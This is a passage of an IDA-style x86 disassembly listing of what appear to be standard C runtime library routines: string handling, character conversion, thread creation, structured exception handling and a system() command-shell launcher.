sub_42A9A8	proc near		; CODE XREF: sub_42A990p
		mov	eax, offset sub_430A91
		mov	off_453820, offset sub_43073B
		mov	off_45381C, eax
		mov	off_453824, offset sub_4307A1
		mov	off_453828, offset sub_4306E1
		mov	off_45382C, offset sub_430789
		mov	off_453830, eax
		retn
sub_42A9A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A9E0	proc near		; CODE XREF: sub_405C99+517p
					; sub_40A9FE+1929p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_42A9E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AA07	proc near		; CODE XREF: sub_4097B9+2D5p
					; sub_4097B9+302p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_42AA1E


loc_42AA14:				; CODE XREF: sub_42AA07+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_42AA14


loc_42AA1E:				; CODE XREF: sub_42AA07+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_42AA07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AA24	proc near		; CODE XREF: sub_4097B9+171p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_676EDC
		push	edi
		push	esi
		call	dword_437224	; InterlockedIncrement
		mov	edi, dword_437220
		xor	ebx, ebx
		cmp	dword_676ED8, ebx
		jz	short loc_42AA54
		push	esi
		call	edi ; dword_437220
		push	13h
		call	sub_42DAEF
		pop	ecx
		push	1
		pop	ebx


loc_42AA54:				; CODE XREF: sub_42AA24+20j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42AA81
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		test	ebx, ebx
		jz	short loc_42AA76
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_42AA79
; ---------------------------------------------------------------------------


loc_42AA76:				; CODE XREF: sub_42AA24+46j
		push	esi
		call	edi ; dword_437220


loc_42AA79:				; CODE XREF: sub_42AA24+50j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42AA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AA81	proc near		; CODE XREF: sub_42AA24+39p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_42AB4F
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_42AB7C
		cmp	dword_6769A8, esi
		jnz	short loc_42AAD2
		cmp	edi, esi
		jbe	loc_42AB7C


loc_42AAB1:				; CODE XREF: sub_42AA81+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_42AB7C
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_42AAB1
		jmp	loc_42AB7C
; ---------------------------------------------------------------------------


loc_42AAD2:				; CODE XREF: sub_42AA81+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_437184
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_6769B8
		call	esi ; dword_437184
		test	eax, eax
		jnz	loc_42AB7B
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_42AB0D


loc_42AAFD:				; CODE XREF: sub_42AA81+CCj
					; sub_42AA81+F8j
		call	sub_42F119
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42AB7C
; ---------------------------------------------------------------------------


loc_42AB0D:				; CODE XREF: sub_42AA81+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_42AB15:				; CODE XREF: sub_42AA81+B4j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42AB37
		mov	edx, off_4533B8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_42AB2C
		inc	eax


loc_42AB2C:				; CODE XREF: sub_42AA81+A8j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_42AB15


loc_42AB37:				; CODE XREF: sub_42AA81+98j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_6769B8
		call	esi ; dword_437184
		test	eax, eax
		jnz	short loc_42AB7C
		jmp	short loc_42AAFD
; ---------------------------------------------------------------------------


loc_42AB4F:				; CODE XREF: sub_42AA81+Fj
		cmp	dword_6769A8, esi
		jnz	short loc_42AB62
		push	[ebp+arg_4]
		call	sub_4293A0
		pop	ecx
		jmp	short loc_42AB7C
; ---------------------------------------------------------------------------


loc_42AB62:				; CODE XREF: sub_42AA81+D4j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_6769B8
		call	dword_437184	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_42AAFD


loc_42AB7B:				; CODE XREF: sub_42AA81+6Bj
		dec	eax


loc_42AB7C:				; CODE XREF: sub_42AA81+1Aj
					; sub_42AA81+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42AA81	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AB81	proc near		; CODE XREF: sub_409FAF+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	74h
		push	1
		xor	edi, edi
		call	sub_42B39A
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42ABDC
		push	esi
		call	sub_42E4DB
		mov	eax, [esp+0Ch+arg_0]
		pop	ecx
		push	esi
		push	4
		push	esi
		push	offset sub_42ABF8
		push	[esp+18h+arg_4]
		mov	[esi+48h], eax
		mov	eax, [esp+1Ch+arg_8]
		push	edi
		mov	[esi+4Ch], eax
		call	dword_437180	; CreateThread
		mov	edi, eax
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_42ABD4
		push	edi
		call	dword_437228	; ResumeThread
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42ABF3


loc_42ABD4:				; CODE XREF: sub_42AB81+45j
		call	dword_437170	; RtlGetLastWin32Error
		mov	edi, eax


loc_42ABDC:				; CODE XREF: sub_42AB81+13j
		push	esi
		call	sub_4298F2
		test	edi, edi
		pop	ecx
		jz	short loc_42ABEE
		push	edi
		call	sub_42F0A6
		pop	ecx


loc_42ABEE:				; CODE XREF: sub_42AB81+64j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42ABF5
; ---------------------------------------------------------------------------


loc_42ABF3:				; CODE XREF: sub_42AB81+51j
		mov	eax, edi


loc_42ABF5:				; CODE XREF: sub_42AB81+70j
		pop	edi
		pop	esi
		retn
sub_42AB81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ABF8	proc near		; DATA XREF: sub_42AB81+24o

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437438
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, [ebp+arg_0]
		push	esi
		push	dword_453240
		call	dword_43722C	; TlsSetValue
		test	eax, eax
		jnz	short loc_42AC3A
		push	10h
		call	sub_42C67C
		pop	ecx


loc_42AC3A:				; CODE XREF: sub_42ABF8+38j
		mov	eax, off_450E6C
		test	eax, eax
		jz	short loc_42AC45
		call	eax ; nullsub_2


loc_42AC45:				; CODE XREF: sub_42ABF8+49j
		and	[ebp+var_4], 0
		push	dword ptr [esi+4Ch]
		call	dword ptr [esi+48h]
		pop	ecx
		call	sub_42AC8B
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_42ABF8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-1Ch], ecx
		push	eax
		push	ecx
		call	sub_430C27
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-1Ch]
		call	sub_430B45

; =============== S U B	R O U T	I N E =======================================



sub_42AC8B	proc near		; CODE XREF: sub_42ABF8+58p
		mov	eax, off_450E70
		test	eax, eax
		jz	short loc_42AC96
		call	eax ; nullsub_2


loc_42AC96:				; CODE XREF: sub_42AC8B+7j
		push	esi
		call	sub_42E4EE
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42ACAA
		push	10h
		call	sub_42C67C
		pop	ecx


loc_42ACAA:				; CODE XREF: sub_42AC8B+15j
		mov	eax, [esi+4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42ACB9
		push	eax
		call	dword_437044	; CloseHandle


loc_42ACB9:				; CODE XREF: sub_42AC8B+25j
		push	esi
		call	sub_42E555
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
		pop	esi
		retn
sub_42AC8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ACCC	proc near		; CODE XREF: sub_42ADC4+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_42ACE4
		push	[ebp+arg_0]
		call	sub_436300	; RtlUnwind


loc_42ACE4:				; DATA XREF: sub_42ACCC+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42ACCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42ACEC	proc near		; DATA XREF: sub_42AD0E+Ao
					; sub_42AD76+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_42AD0D
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_42AD0D:				; CODE XREF: sub_42ACEC+10j
		retn
sub_42ACEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AD0E	proc near		; CODE XREF: sub_42ADC4+67p
					; sub_42ADC4+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_42ACEC
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_42AD2B:				; CODE XREF: sub_42AD0E:loc_42AD66j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42AD68
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_42AD68
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_42AD66
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_42ADA2
		call	dword ptr [ebx+esi*4+8]


loc_42AD66:				; CODE XREF: sub_42AD0E+44j
		jmp	short loc_42AD2B
; ---------------------------------------------------------------------------


loc_42AD68:				; CODE XREF: sub_42AD0E+2Aj
					; sub_42AD0E+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AD0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AD76	proc near		; CODE XREF: sub_4318B1+3Fp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_42ACEC
		jnz	short locret_42AD98
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_42AD98
		mov	eax, 1

locret_42AD98:				; CODE XREF: sub_42AD76+10j
					; sub_42AD76+1Bj
		retn
sub_42AD76	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AD99	proc near		; CODE XREF: sub_431B80+1Ep
					; sub_431B80+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_450E74
		jmp	short loc_42ADAC
sub_42AD99	endp


; =============== S U B	R O U T	I N E =======================================



sub_42ADA2	proc near		; CODE XREF: sub_42AD0E+4Fp
					; sub_42ADC4+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_450E74
		mov	ecx, [ebp+8]


loc_42ADAC:				; CODE XREF: sub_42AD99+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_42ADA2	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ADC4	proc near		; DATA XREF: .text:0040A51Eo
					; sub_40A5A4+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_42AE64
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_42ADF7:				; CODE XREF: sub_42ADC4+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42AE5D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42AE4B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42AE4B
		js	short loc_42AE56
		mov	edi, [ebx+8]
		push	ebx
		call	sub_42ACCC
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_42AD0E
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_42ADA2
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42AE4B:				; CODE XREF: sub_42ADC4+40j
					; sub_42ADC4+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_42ADF7
; ---------------------------------------------------------------------------


loc_42AE56:				; CODE XREF: sub_42ADC4+54j
		mov	eax, 0
		jmp	short loc_42AE79
; ---------------------------------------------------------------------------


loc_42AE5D:				; CODE XREF: sub_42ADC4+36j
		mov	eax, 1
		jmp	short loc_42AE79
; ---------------------------------------------------------------------------


loc_42AE64:				; CODE XREF: sub_42ADC4+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_42AD0E
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42AE79:				; CODE XREF: sub_42ADC4+97j
					; sub_42ADC4+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42ADC4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_42AD0E
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42AEA0	proc near		; CODE XREF: sub_40A62E+29p
					; sub_40A662+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_42AF1A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_42AF07


loc_42AEB8:				; CODE XREF: sub_42AEA0+52j
					; sub_42AEA0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_42AEDA
		test	al, al
		jz	short loc_42AED4


loc_42AEC9:				; CODE XREF: sub_42AEA0+32j
		mov	al, [esi]
		inc	esi


loc_42AECC:				; CODE XREF: sub_42AEA0+3Fj
		cmp	al, dl
		jz	short loc_42AEDA
		test	al, al
		jnz	short loc_42AEC9


loc_42AED4:				; CODE XREF: sub_42AEA0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42AEDA:				; CODE XREF: sub_42AEA0+23j
					; sub_42AEA0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_42AECC
		lea	edi, [esi-1]


loc_42AEE4:				; CODE XREF: sub_42AEA0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_42AF13
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_42AEB8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_42AF13
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_42AEE4
		jmp	short loc_42AEB8
; ---------------------------------------------------------------------------


loc_42AF07:				; CODE XREF: sub_42AEA0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_42B1A6
; ---------------------------------------------------------------------------


loc_42AF13:				; CODE XREF: sub_42AEA0+49j
					; sub_42AEA0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42AF1A:				; CODE XREF: sub_42AEA0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_42AEA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AF20	proc near		; CODE XREF: sub_40A9FE+869Cp
					; sub_40A9FE+86A6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		xor	esi, esi
		cmp	dword_6769A8, esi
		push	edi
		mov	[ebp+var_8], esi
		jnz	short loc_42AF5E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	byte ptr [eax],	0
		jz	loc_42B050


loc_42AF42:				; CODE XREF: sub_42AF20+37j
		mov	cl, [edx]
		cmp	cl, 41h
		jl	short loc_42AF53
		cmp	cl, 5Ah
		jg	short loc_42AF53
		add	cl, 20h
		mov	[edx], cl


loc_42AF53:				; CODE XREF: sub_42AF20+27j
					; sub_42AF20+2Cj
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_42AF42
		jmp	loc_42B050
; ---------------------------------------------------------------------------


loc_42AF5E:				; CODE XREF: sub_42AF20+12j
		mov	edi, offset dword_676EDC
		push	edi
		call	dword_437224	; InterlockedIncrement
		cmp	dword_676ED8, esi
		jz	short loc_42AF8A
		push	edi
		call	dword_437220	; InterlockedDecrement
		push	13h
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_42AF8D
; ---------------------------------------------------------------------------


loc_42AF8A:				; CODE XREF: sub_42AF20+50j
		mov	[ebp+var_4], esi


loc_42AF8D:				; CODE XREF: sub_42AF20+68j
		mov	eax, dword_6769A8
		cmp	eax, esi
		jnz	short loc_42AFD3
		cmp	[ebp+var_4], esi
		jz	short loc_42AFA5
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_42AFAC
; ---------------------------------------------------------------------------


loc_42AFA5:				; CODE XREF: sub_42AF20+79j
		push	edi
		call	dword_437220	; InterlockedDecrement


loc_42AFAC:				; CODE XREF: sub_42AF20+83j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	byte ptr [eax],	0
		jz	loc_42B050


loc_42AFBA:				; CODE XREF: sub_42AF20+AFj
		mov	cl, [edx]
		cmp	cl, 41h
		jl	short loc_42AFCB
		cmp	cl, 5Ah
		jg	short loc_42AFCB
		add	cl, 20h
		mov	[edx], cl


loc_42AFCB:				; CODE XREF: sub_42AF20+9Fj
					; sub_42AF20+A4j
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_42AFBA
		jmp	short loc_42B050
; ---------------------------------------------------------------------------


loc_42AFD3:				; CODE XREF: sub_42AF20+74j
		push	ebx
		push	1
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		mov	esi, 100h
		push	esi
		push	eax
		call	sub_430D9F
		mov	ebx, eax
		add	esp, 20h
		test	ebx, ebx
		jz	short loc_42B02C
		push	ebx
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_42B02C
		push	1
		push	0
		push	ebx
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_6769A8
		call	sub_430D9F
		add	esp, 20h
		test	eax, eax
		jz	short loc_42B02C
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_42A5D0
		pop	ecx
		pop	ecx


loc_42B02C:				; CODE XREF: sub_42AF20+D1j
					; sub_42AF20+DFj ...
		cmp	[ebp+var_4], 0
		pop	ebx
		jz	short loc_42B03D
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_42B044
; ---------------------------------------------------------------------------


loc_42B03D:				; CODE XREF: sub_42AF20+111j
		push	edi
		call	dword_437220	; InterlockedDecrement


loc_42B044:				; CODE XREF: sub_42AF20+11Bj
		push	[ebp+var_8]
		call	sub_4298F2
		mov	eax, [ebp+arg_0]
		pop	ecx


loc_42B050:				; CODE XREF: sub_42AF20+1Cj
					; sub_42AF20+39j ...
		pop	edi
		pop	esi
		leave
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B060	proc near		; CODE XREF: sub_40A9FE+620Bp
					; sub_40A9FE+6230p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_42B081
		xor	eax, eax
		jmp	short loc_42B083
; ---------------------------------------------------------------------------


loc_42B081:				; CODE XREF: sub_42B060+1Bj
		mov	eax, edi


loc_42B083:				; CODE XREF: sub_42B060+1Fj
		cld
		pop	edi
		leave
		retn
sub_42B060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B087	proc near		; CODE XREF: sub_40A9FE+4B19p
					; sub_424EAB+12Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_42B09B
		xor	eax, eax
		jmp	short loc_42B0E5
; ---------------------------------------------------------------------------


loc_42B09B:				; CODE XREF: sub_42B087+Ej
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		call	sub_42C1D4
		pop	ecx


loc_42B0A6:				; CODE XREF: sub_42B087+46j
		dec	[ebp+arg_4]
		jz	short loc_42B0D8
		dec	dword ptr [esi+4]
		js	short loc_42B0BA
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_42B0C1
; ---------------------------------------------------------------------------


loc_42B0BA:				; CODE XREF: sub_42B087+27j
		push	esi
		call	sub_42F3E2
		pop	ecx


loc_42B0C1:				; CODE XREF: sub_42B087+31j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B0CF
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_42B0D8
		jmp	short loc_42B0A6
; ---------------------------------------------------------------------------


loc_42B0CF:				; CODE XREF: sub_42B087+3Dj
		cmp	edi, [ebp+arg_0]
		jnz	short loc_42B0D8
		xor	ebx, ebx
		jmp	short loc_42B0DB
; ---------------------------------------------------------------------------


loc_42B0D8:				; CODE XREF: sub_42B087+22j
					; sub_42B087+44j ...
		and	byte ptr [edi],	0


loc_42B0DB:				; CODE XREF: sub_42B087+4Fj
		push	esi
		call	sub_42C226
		pop	ecx
		mov	eax, ebx
		pop	esi


loc_42B0E5:				; CODE XREF: sub_42B087+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_42B087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B0E9	proc near		; CODE XREF: sub_40A9FE+46CDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	offset aComspec	; "COMSPEC"
		call	sub_4312C2
		pop	ecx
		xor	esi, esi
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		cmp	ecx, esi
		jnz	short loc_42B120
		cmp	eax, esi
		jnz	short loc_42B110
		xor	eax, eax
		jmp	short loc_42B187
; ---------------------------------------------------------------------------


loc_42B110:				; CODE XREF: sub_42B0E9+21j
		push	esi
		push	eax
		call	sub_42A6C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_42B187
; ---------------------------------------------------------------------------


loc_42B120:				; CODE XREF: sub_42B0E9+1Dj
		cmp	eax, esi
		mov	[ebp+var_C], offset dword_437450
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], esi
		jz	short loc_42B15F
		lea	ecx, [ebp+var_10]
		push	esi
		push	ecx
		push	eax
		push	esi
		call	sub_431128
		mov	edi, eax
		add	esp, 10h
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42B15B
		call	sub_42F119
		cmp	dword ptr [eax], 2
		jz	short loc_42B15F
		call	sub_42F119
		cmp	dword ptr [eax], 0Dh
		jz	short loc_42B15F


loc_42B15B:				; CODE XREF: sub_42B0E9+5Cj
		mov	eax, edi
		jmp	short loc_42B187
; ---------------------------------------------------------------------------


loc_42B15F:				; CODE XREF: sub_42B0E9+46j
					; sub_42B0E9+66j ...
		test	byte_6769D1, 80h
		mov	[ebp+var_10], offset dword_437444
		jnz	short loc_42B176
		mov	[ebp+var_10], offset aCmd_exe ;	"cmd.exe"


loc_42B176:				; CODE XREF: sub_42B0E9+84j
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		push	[ebp+var_10]
		push	esi
		call	sub_430FC3
		add	esp, 10h


loc_42B187:				; CODE XREF: sub_42B0E9+25j
					; sub_42B0E9+35j ...
		pop	edi
		pop	esi
		leave
		retn
sub_42B0E9	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_42B1A0


loc_42B190:				; CODE XREF: sub_42B1A0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_42B1A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42B1A0	proc near		; CODE XREF: sub_40A9FE+4682p
					; sub_40A9FE+603Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0042B190 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_42B1A6:				; CODE XREF: sub_42AEA0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_42B1CB


loc_42B1B8:				; CODE XREF: sub_42B1A0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_42B190
		test	cl, cl
		jz	short loc_42B214
		test	edx, 3
		jnz	short loc_42B1B8


loc_42B1CB:				; CODE XREF: sub_42B1A0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
